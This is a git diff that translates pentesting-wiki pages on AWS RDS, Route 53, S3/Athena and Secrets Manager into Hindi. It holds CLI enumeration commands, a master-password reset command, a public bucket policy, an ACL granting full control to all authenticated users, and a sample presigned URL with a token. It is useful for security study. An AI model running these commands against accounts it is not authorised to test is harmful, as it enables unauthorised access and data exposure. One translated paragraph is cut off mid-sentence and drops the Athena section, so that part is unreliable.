डेटा एन्क्रिप्शन (TDE)** शामिल है। हालाँकि, यह महत्वपूर्ण है कि ध्यान दें कि जबकि TDE आराम में डेटा को एन्क्रिप्ट करके सुरक्षा बढ़ाता है, यह **डेटाबेस प्रदर्शन को भी प्रभावित कर सकता है**। यह प्रदर्शन प्रभाव विशेष रूप से MySQL क्रिप्टोग्राफिक फ़ंक्शंस या Microsoft Transact-SQL क्रिप्टोग्राफिक फ़ंक्शंस के साथ उपयोग करते समय ध्यान देने योग्य होता है। -To utilize TDE, certain preliminary steps are required: +TDE का उपयोग करने के लिए कुछ प्रारंभिक कदम आवश्यक हैं: -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **विकल्प समूह संघ**: +- डेटाबेस को एक विकल्प समूह के साथ संघ करना चाहिए। विकल्प समूह सेटिंग्स और सुविधाओं के लिए कंटेनर के रूप में कार्य करते हैं, डेटाबेस प्रबंधन को सरल बनाते हैं, जिसमें सुरक्षा सुधार शामिल हैं। +- हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि विकल्प समूह केवल विशिष्ट डेटाबेस इंजनों और संस्करणों के लिए उपलब्ध हैं। +2. **विकल्प समूह में TDE का समावेश**: +- एक विकल्प समूह के साथ संघित होने के बाद, Oracle ट्रांसपेरेंट डेटा एन्क्रिप्शन विकल्प को उस समूह में शामिल करने की आवश्यकता है। +- यह पहचानना आवश्यक है कि एक बार जब TDE विकल्प को एक विकल्प समूह में जोड़ा जाता है, तो यह एक स्थायी विशेषता बन जाती है और इसे हटाया नहीं जा सकता। +3. **TDE एन्क्रिप्शन मोड**: +- TDE दो अलग-अलग एन्क्रिप्शन मोड प्रदान करता है: +- **TDE टेबलस्पेस एन्क्रिप्शन**: यह मोड पूरे तालिकाओं को एन्क्रिप्ट करता है, डेटा सुरक्षा के व्यापक दायरे को प्रदान करता है। +- **TDE कॉलम एन्क्रिप्शन**: यह मोड डेटाबेस के भीतर विशिष्ट, व्यक्तिगत तत्वों को एन्क्रिप्ट करने पर केंद्रित है, जिससे यह नियंत्रित करना संभव होता है कि कौन सा डेटा एन्क्रिप्ट किया गया है। -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. +इन पूर्वापेक्षाओं और TDE के संचालन की जटिलताओं को समझना RDS के भीतर एन्क्रिप्शन को प्रभावी ढंग से लागू करने और प्रबंधित करने के लिए महत्वपूर्ण है, जिससे डेटा सुरक्षा और आवश्यक मानकों के अनुपालन को सुनिश्चित किया जा सके। ### Enumeration - ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### अनधिकृत पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट एक्सप्लॉइटेशन {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### स्थिरता {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### SQL इंजेक्शन -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +DynamoDB डेटा तक पहुँचने के लिए **SQL सिंटैक्स** के साथ तरीके हैं, इसलिए, सामान्य **SQL इंजेक्शन भी संभव हैं**। {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..1fdd3e450 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53 एक क्लाउड **डोमेन नाम प्रणाली (DNS)** वेब सेवा है।\ +आप Route53 के माध्यम से https, http और tcp **वेब पृष्ठों के लिए स्वास्थ्य जांच** बना सकते हैं। -### IP-based routing +### IP-आधारित रूटिंग -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. +यह आपके DNS रूटिंग को ट्यून करने के लिए उपयोगी है ताकि आपके अंतिम उपयोगकर्ताओं के लिए सबसे अच्छे DNS रूटिंग निर्णय लिए जा सकें।\ +IP-आधारित रूटिंग आपको **आपके ग्राहक आधार के विशिष्ट ज्ञान के आधार पर रूटिंग को अनुकूलित करने** की अतिरिक्त क्षमता प्रदान करता है। ### Enumeration - ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,15 +20,10 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..826dcf4b9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,68 +4,62 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3 एक सेवा है जो आपको **बड़े मात्रा में डेटा** **स्टोर** करने की अनुमति देती है। -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3 डेटा को REST में **सुरक्षित** करने के लिए कई विकल्प प्रदान करता है। विकल्पों में **अनुमति** (नीति), **एन्क्रिप्शन** (क्लाइंट और सर्वर साइड), **बकेट संस्करणन** और **MFA** **आधारित हटाना** शामिल हैं। **उपयोगकर्ता इन विकल्पों में से किसी को भी सक्षम कर सकता है** ताकि डेटा सुरक्षा प्राप्त की जा सके। **डेटा प्रतिकृति** AWS द्वारा एक आंतरिक सुविधा है जहां **S3 स्वचालित रूप से प्रत्येक ऑब्जेक्ट को सभी उपलब्धता क्षेत्रों में प्रतिकृत करता है** और इस मामले में संगठन को इसे सक्षम करने की आवश्यकता नहीं है। -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +संसाधन-आधारित अनुमतियों के साथ, आप अपने बकेट के उप-निर्देशिकाओं के लिए अनुमतियों को अलग से परिभाषित कर सकते हैं। -### Bucket Versioning and MFA based delete +### बकेट संस्करणन और MFA आधारित हटाना -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +जब बकेट संस्करणन सक्षम होता है, तो कोई भी क्रिया जो एक फ़ाइल के अंदर फ़ाइल को बदलने की कोशिश करती है, फ़ाइल का एक नया संस्करण उत्पन्न करेगी, साथ ही उसी की पिछली सामग्री को भी बनाए रखेगी। इसलिए, यह अपनी सामग्री को अधिलेखित नहीं करेगा। -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +इसके अलावा, MFA आधारित हटाना S3 बकेट में फ़ाइल के संस्करणों को हटाने से रोकेगा और बकेट संस्करणन को अक्षम करने से भी रोकेगा, इसलिए एक हमलावर इन फ़ाइलों को बदल नहीं सकेगा। -### S3 Access logs +### S3 एक्सेस लॉग -It's possible to **enable S3 access login** (which by default is disabled) to some bucket and save the logs in a different bucket to know who is accessing the bucket (both buckets must be in the same region). +यह संभव है कि आप कुछ बकेट के लिए **S3 एक्सेस लॉगिन** (जो डिफ़ॉल्ट रूप से अक्षम है) को **सक्षम** करें और लॉग को एक अलग बकेट में सहेजें ताकि यह पता चल सके कि कौन बकेट का उपयोग कर रहा है (दोनों बकेट को एक ही क्षेत्र में होना चाहिए)। -### S3 Presigned URLs - -It's possible to generate a presigned URL that can usually be used to **access the specified file** in the bucket. A **presigned URL looks like this**: +### S3 प्रीसाइनड यूआरएल +यह संभव है कि आप एक प्रीसाइनड यूआरएल उत्पन्न करें जिसे आमतौर पर बकेट में **निर्धारित फ़ाइल** तक पहुँचने के लिए उपयोग किया जा सकता है। एक **प्रीसाइनड यूआरएल इस तरह दिखता है**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` - -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (if the account you use doesn't have access, a shorter presigned URL will be created but it will be useless) - +A presigned URL can be **cli से उस प्रिंसिपल के क्रेडेंशियल्स का उपयोग करके बनाया जा सकता है जिसके पास ऑब्जेक्ट तक पहुंच है** (यदि आप जिस खाते का उपयोग करते हैं, उसके पास पहुंच नहीं है, तो एक छोटा presigned URL बनाया जाएगा लेकिन यह बेकार होगा) ```bash - aws s3 presign --region 's3:///' +aws s3 presign --region 's3:///' ``` - > [!NOTE] -> The only required permission to generate a presigned URL is the permission being given, so for the previous command the only permission needed by the principal is `s3:GetObject` - -It's also possible to create presigned URLs with **other permissions**: +> एक प्रीसाइन किए गए URL को उत्पन्न करने के लिए केवल आवश्यक अनुमति वह अनुमति है जो दी जा रही है, इसलिए पिछले आदेश के लिए मुख्य व्यक्ति को केवल `s3:GetObject` की अनुमति की आवश्यकता है। +यह **अन्य अनुमतियों** के साथ प्रीसाइन किए गए URLs बनाने के लिए भी संभव है: ```python import boto3 url = boto3.client('s3').generate_presigned_url( - ClientMethod='put_object', - Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, - ExpiresIn=3600 +ClientMethod='put_object', +Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, +ExpiresIn=3600 ) ``` - ### S3 Encryption Mechanisms -**DEK means Data Encryption Key** and is the key that is always generated and used to encrypt data. +**DEK का मतलब है डेटा एन्क्रिप्शन कुंजी** और यह वह कुंजी है जो हमेशा उत्पन्न होती है और डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है।
Server-side encryption with S3 managed keys, SSE-S3 -This option requires minimal configuration and all management of encryption keys used are managed by AWS. All you need to do is to **upload your data and S3 will handle all other aspects**. Each bucket in a S3 account is assigned a bucket key. +यह विकल्प न्यूनतम कॉन्फ़िगरेशन की आवश्यकता करता है और उपयोग की जाने वाली एन्क्रिप्शन कुंजियों का सभी प्रबंधन AWS द्वारा किया जाता है। आपको केवल **अपने डेटा को अपलोड करना है और S3 सभी अन्य पहलुओं को संभालेगा**। S3 खाते में प्रत्येक बकेट को एक बकेट कुंजी असाइन की जाती है। -- Encryption: - - Object Data + created plaintext DEK --> Encrypted data (stored inside S3) - - Created plaintext DEK + S3 Master Key --> Encrypted DEK (stored inside S3) and plain text is deleted from memory -- Decryption: - - Encrypted DEK + S3 Master Key --> Plaintext DEK - - Plaintext DEK + Encrypted data --> Object Data +- एन्क्रिप्शन: +- ऑब्जेक्ट डेटा + बनाई गई प्लेनटेक्स्ट DEK --> एन्क्रिप्टेड डेटा (S3 के अंदर संग्रहीत) +- बनाई गई प्लेनटेक्स्ट DEK + S3 मास्टर कुंजी --> एन्क्रिप्टेड DEK (S3 के अंदर संग्रहीत) और प्लेन टेक्स्ट मेमोरी से हटा दिया जाता है +- डिक्रिप्शन: +- एन्क्रिप्टेड DEK + S3 मास्टर कुंजी --> प्लेनटेक्स्ट DEK +- प्लेनटेक्स्ट DEK + एन्क्रिप्टेड डेटा --> ऑब्जेक्ट डेटा -Please, note that in this case **the key is managed by AWS** (rotation only every 3 years). If you use your own key you willbe able to rotate, disable and apply access control. +कृपया ध्यान दें कि इस मामले में **कुंजी AWS द्वारा प्रबंधित की जाती है** (रोटेशन केवल हर 3 वर्ष में)। यदि आप अपनी खुद की कुंजी का उपयोग करते हैं, तो आप रोटेट, अक्षम और एक्सेस नियंत्रण लागू कर सकेंगे।
@@ -73,16 +67,16 @@ Please, note that in this case **the key is managed by AWS** (rotation only ever Server-side encryption with KMS managed keys, SSE-KMS -This method allows S3 to use the key management service to generate your data encryption keys. KMS gives you a far greater flexibility of how your keys are managed. For example, you are able to disable, rotate, and apply access controls to the CMK, and order to against their usage using AWS Cloud Trail. +यह विधि S3 को कुंजी प्रबंधन सेवा का उपयोग करके आपके डेटा एन्क्रिप्शन कुंजी उत्पन्न करने की अनुमति देती है। KMS आपको अपनी कुंजियों के प्रबंधन के लिए बहुत अधिक लचीलापन देता है। उदाहरण के लिए, आप CMK को अक्षम, रोटेट और एक्सेस नियंत्रण लागू कर सकते हैं, और AWS क्लाउड ट्रेल का उपयोग करके उनके उपयोग के खिलाफ आदेश दे सकते हैं। -- Encryption: - - S3 request data keys from KMS CMK - - KMS uses a CMK to generate the pair DEK plaintext and DEK encrypted and send them to S£ - - S3 uses the paintext key to encrypt the data, store the encrypted data and the encrypted key and deletes from memory the plain text key -- Decryption: - - S3 ask to KMS to decrypt the encrypted data key of the object - - KMS decrypt the data key with the CMK and send it back to S3 - - S3 decrypts the object data +- एन्क्रिप्शन: +- S3 KMS CMK से डेटा कुंजी का अनुरोध करता है +- KMS एक CMK का उपयोग करके DEK प्लेनटेक्स्ट और DEK एन्क्रिप्टेड जोड़ी उत्पन्न करता है और उन्हें S3 को भेजता है +- S3 प्लेनटेक्स्ट कुंजी का उपयोग करके डेटा को एन्क्रिप्ट करता है, एन्क्रिप्टेड डेटा और एन्क्रिप्टेड कुंजी को संग्रहीत करता है और मेमोरी से प्लेन टेक्स्ट कुंजी को हटा देता है +- डिक्रिप्शन: +- S3 KMS से ऑब्जेक्ट के एन्क्रिप्टेड डेटा कुंजी को डिक्रिप्ट करने के लिए पूछता है +- KMS CMK के साथ डेटा कुंजी को डिक्रिप्ट करता है और इसे S3 को वापस भेजता है +- S3 ऑब्जेक्ट डेटा को डिक्रिप्ट करता है @@ -90,17 +84,17 @@ This method allows S3 to use the key management service to generate your data en Server-side encryption with customer provided keys, SSE-C -This option gives you the opportunity to provide your own master key that you may already be using outside of AWS. Your customer-provided key would then be sent with your data to S3, where S3 would then perform the encryption for you. +यह विकल्प आपको अपनी खुद की मास्टर कुंजी प्रदान करने का अवसर देता है जिसे आप पहले से AWS के बाहर उपयोग कर रहे हो सकते हैं। आपकी ग्राहक-प्रदान की गई कुंजी फिर आपके डेटा के साथ S3 को भेजी जाएगी, जहां S3 आपके लिए एन्क्रिप्शन करेगा। -- Encryption: - - The user sends the object data + Customer key to S3 - - The customer key is used to encrypt the data and the encrypted data is stored - - a salted HMAC value of the customer key is stored also for future key validation - - the customer key is deleted from memory -- Decryption: - - The user send the customer key - - The key is validated against the HMAC value stored - - The customer provided key is then used to decrypt the data +- एन्क्रिप्शन: +- उपयोगकर्ता ऑब्जेक्ट डेटा + ग्राहक कुंजी को S3 को भेजता है +- ग्राहक कुंजी का उपयोग डेटा को एन्क्रिप्ट करने के लिए किया जाता है और एन्क्रिप्टेड डेटा संग्रहीत किया जाता है +- भविष्य की कुंजी मान्यता के लिए ग्राहक कुंजी का एक सॉल्टेड HMAC मान भी संग्रहीत किया जाता है +- ग्राहक कुंजी मेमोरी से हटा दी जाती है +- डिक्रिप्शन: +- उपयोगकर्ता ग्राहक कुंजी भेजता है +- कुंजी को संग्रहीत HMAC मान के खिलाफ मान्य किया जाता है +- ग्राहक द्वारा प्रदान की गई कुंजी का उपयोग डेटा को डिक्रिप्ट करने के लिए किया जाता है @@ -108,17 +102,17 @@ This option gives you the opportunity to provide your own master key that you ma Client-side encryption with KMS, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +SSE-KMS की तरह, यह भी आपके डेटा एन्क्रिप्शन कुंजी उत्पन्न करने के लिए कुंजी प्रबंधन सेवा का उपयोग करता है। हालाँकि, इस बार KMS को क्लाइंट के माध्यम से बुलाया जाता है न कि S3 के माध्यम से। एन्क्रिप्शन फिर क्लाइंट-साइड पर होता है और एन्क्रिप्टेड डेटा को S3 को संग्रहीत करने के लिए भेजा जाता है। -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- एन्क्रिप्शन: +- क्लाइंट KMS से डेटा कुंजी का अनुरोध करता है +- KMS प्लेनटेक्स्ट DEK और CMK के साथ एन्क्रिप्टेड DEK लौटाता है +- दोनों कुंजियाँ वापस भेजी जाती हैं +- क्लाइंट फिर प्लेनटेक्स्ट DEK के साथ डेटा को एन्क्रिप्ट करता है और S3 को एन्क्रिप्टेड डेटा + एन्क्रिप्टेड DEK (जो S3 के अंदर एन्क्रिप्टेड डेटा के मेटाडेटा के रूप में संग्रहीत होता है) भेजता है +- डिक्रिप्शन: +- एन्क्रिप्टेड डेटा और एन्क्रिप्टेड DEK क्लाइंट को भेजा जाता है +- क्लाइंट KMS से CMK का उपयोग करके एन्क्रिप्टेड कुंजी को डिक्रिप्ट करने के लिए पूछता है और KMS प्लेनटेक्स्ट DEK वापस भेजता है +- क्लाइंट अब एन्क्रिप्टेड डेटा को डिक्रिप्ट कर सकता है @@ -126,22 +120,21 @@ Similarly to SSE-KMS, this also uses the key management service to generate your Client-side encryption with customer provided keys, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +इस तंत्र का उपयोग करके, आप अपनी खुद की प्रदान की गई कुंजियों का उपयोग कर सकते हैं और S3 में संग्रहण के लिए भेजने से पहले अपने डेटा को एन्क्रिप्ट करने के लिए AWS-SDK क्लाइंट का उपयोग कर सकते हैं। -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- एन्क्रिप्शन: +- क्लाइंट एक DEK उत्पन्न करता है और प्लेनटेक्स्ट डेटा को एन्क्रिप्ट करता है +- फिर, अपनी खुद की कस्टम CMK का उपयोग करके DEK को एन्क्रिप्ट करता है +- एन्क्रिप्टेड डेटा + एन्क्रिप्टेड DEK को S3 में जमा करता है जहां इसे संग्रहीत किया जाता है +- डिक्रिप्शन: +- S3 एन्क्रिप्टेड डेटा और DEK भेजता है +- चूंकि क्लाइंट के पास पहले से DEK को एन्क्रिप्ट करने के लिए उपयोग की गई CMK है, यह DEK को डिक्रिप्ट करता है और फिर डेटा को डिक्रिप्ट करने के लिए प्लेनटेक्स्ट DEK का उपयोग करता है ### **Enumeration** -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** - +AWS संगठनों से समझौता करने के पारंपरिक मुख्य तरीकों में से एक सार्वजनिक रूप से सुलभ बकेट्स से समझौता करना शुरू होता है। **आप इस पृष्ठ पर** [**सार्वजनिक बकेट्स एन्यूमरेटर पा सकते हैं**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,35 +211,34 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +आप एक S3 बकेट को डुअल-स्टैक एंडपॉइंट के माध्यम से वर्चुअल होस्टेड-स्टाइल या पाथ-स्टाइल एंडपॉइंट नाम का उपयोग करके एक्सेस कर सकते हैं। ये IPv6 के माध्यम से S3 तक पहुँचने के लिए उपयोगी हैं। -Dual-stack endpoints use the following syntax: +डुअल-स्टैक एंडपॉइंट निम्नलिखित सिंटैक्स का उपयोग करते हैं: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +अगली पृष्ठ पर आप देख सकते हैं कि **S3 अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md @@ -274,22 +266,7 @@ In the following page you can check how to **abuse S3 permissions to escalate pr ### S3 HTTP Cache Poisoning Issue -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. - -## Amazon Athena - -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. - -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. - -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. - -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. - -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. - -### Enumeration - +[**इस शोध के अनुसार**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) यह संभव था कि किसी मनमाने बकेट के उत्तर को इस तरह कैश ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +288,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## संदर्भ - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..d5ac05ea7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager का उद्देश्य **ऐप्लिकेशनों में हार्ड-कोडेड सीक्रेट्स के उपयोग को समाप्त करना है, उन्हें API कॉल के साथ बदलकर**। यह सेवा **आपके सभी सीक्रेट्स के लिए एक केंद्रीकृत भंडार के रूप में कार्य करती है**, यह सुनिश्चित करते हुए कि उन्हें सभी ऐप्लिकेशनों में समान रूप से प्रबंधित किया जाता है। -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +मैनेजर **सीक्रेट्स को घुमाने की प्रक्रिया को सरल बनाता है**, संवेदनशील डेटा जैसे डेटाबेस क्रेडेंशियल्स की सुरक्षा स्थिति में महत्वपूर्ण सुधार करता है। इसके अतिरिक्त, API कुंजियों जैसे सीक्रेट्स को स्वचालित रूप से घुमाया जा सकता है जब लैम्ब्डा फ़ंक्शंस का एकीकरण किया जाता है। -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +सीक्रेट्स तक पहुंच को विस्तृत IAM पहचान-आधारित नीतियों और संसाधन-आधारित नीतियों के माध्यम से कड़ाई से नियंत्रित किया जाता है। -For granting access to secrets to a user from a different AWS account, it's necessary to: +किसी अन्य AWS खाते से एक उपयोगकर्ता को सीक्रेट्स तक पहुंच देने के लिए, यह आवश्यक है: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. उपयोगकर्ता को सीक्रेट तक पहुंच की अनुमति दें। +2. KMS का उपयोग करके सीक्रेट को डिक्रिप्ट करने के लिए उपयोगकर्ता को अनुमति दें। +3. बाहरी 